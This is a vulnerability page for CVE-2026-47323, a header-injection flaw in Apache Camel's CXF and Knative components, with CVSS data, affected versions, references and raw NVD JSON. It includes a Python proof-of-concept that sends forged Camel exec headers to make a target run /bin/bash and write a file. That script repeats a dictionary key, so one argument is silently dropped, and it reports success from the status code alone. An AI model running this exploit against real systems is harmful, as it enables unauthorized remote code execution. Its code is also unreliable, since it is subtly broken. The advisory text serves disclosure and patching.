CVE-2026-47323

Description

Camel-CXF and Camel-Knative Message Header Injection via Missing Inbound Filtering The CXF and Knative HeaderFilterStrategy implementations (CxfRsHeaderFilterStrategy in camel-cxf-rest, CxfHeaderFilterStrategy in camel-cxf-transport, and KnativeHttpHeaderFilterStrategy in camel-knative-http) only filter outbound Camel-internal headers via setOutFilterStartsWith, while not configuring inbound filtering via setInFilterStartsWith. As a result, an unauthenticated attacker can inject Camel-internal headers (e.g. CamelExecCommandExecutable, CamelFileName) via HTTP requests to CXF-RS or CXF-SOAP endpoints. When a route forwards messages from these endpoints to header-driven components such as camel-exec or camel-file, the injected headers override configured values, enabling remote code execution or arbitrary file writes. This is the same pattern that was previously addressed in camel-undertow (CVE-2025-30177), the broader incoming-header filter (CVE-2025-27636 and CVE-2025-29891), and non-HTTP strategies (CVE-2026-40453). This issue affects Apache Camel: from 3.18.0 before 4.14.6, from 4.15.0 before 4.18.2. Users are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.18.x LTS releases stream, then they are suggested to upgrade to 4.18.2. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Apache Camel 3.18.0 至 4.14.6 之前

Apache Camel 4.15.0 至 4.18.2 之前

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_cve_2026_47323(target_url):
    # Exploit: Injecting Camel internal header to execute commands
    # Target: camel-exec component listening on the endpoint
    headers = {
        "CamelExecCommandExecutable": "/bin/bash",
        "CamelExecCommandArgs": "-c",
        "CamelExecCommandArgs": "echo 'CVE-2026-47323 POC' > /tmp/pwned"
    }

    try:
        response = requests.get(target_url, headers=headers, timeout=5)
        print(f"[+] Request sent to {target_url}")
        print(f"[+] Status Code: {response.status_code}")
        if response.status_code == 200:
            print("[+] Potential command executed via header injection.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "http://vulnerable-camel-instance:8080/service/endpoint"
    exploit_cve_2026_47323(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-47323
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-47323
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-47323/
[4] VulDB https://vuldb.com/cve/CVE-2026-47323
[5] https://camel.apache.org/security/CVE-2026-47323.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-47323", "sourceIdentifier": "[email protected]", "published": "2026-05-19T14:16:48.653", "lastModified": "2026-05-20T17:16:26.340", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Camel-CXF and Camel-Knative Message Header Injection via Missing Inbound Filtering\n\nThe CXF and Knative HeaderFilterStrategy implementations (CxfRsHeaderFilterStrategy in camel-cxf-rest, CxfHeaderFilterStrategy in camel-cxf-transport, and KnativeHttpHeaderFilterStrategy in camel-knative-http) only filter outbound Camel-internal headers via setOutFilterStartsWith, while not configuring inbound filtering via setInFilterStartsWith. As a result, an unauthenticated attacker can inject Camel-internal headers (e.g. CamelExecCommandExecutable, CamelFileName) via HTTP requests to CXF-RS or CXF-SOAP endpoints. When a route forwards messages from these endpoints to header-driven components such as camel-exec or camel-file, the injected headers override configured values, enabling remote code execution or arbitrary file writes. This is the same pattern that was previously addressed in camel-undertow (CVE-2025-30177), the broader incoming-header filter (CVE-2025-27636 and CVE-2025-29891), and non-HTTP strategies (CVE-2026-40453).\n\n\nThis issue affects Apache Camel: from 3.18.0 before 4.14.6, from 4.15.0 before 4.18.2.\n\nUsers are recommended to upgrade to version 4.19.0, which fixes the issue. If users are on the 4.18.x LTS releases stream, then they are suggested to upgrade to 4.18.2. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-178"}]}], "references": [{"url": "https://camel.apache.org/security/CVE-2026-47323.html", "source": "[email protected]"}]}}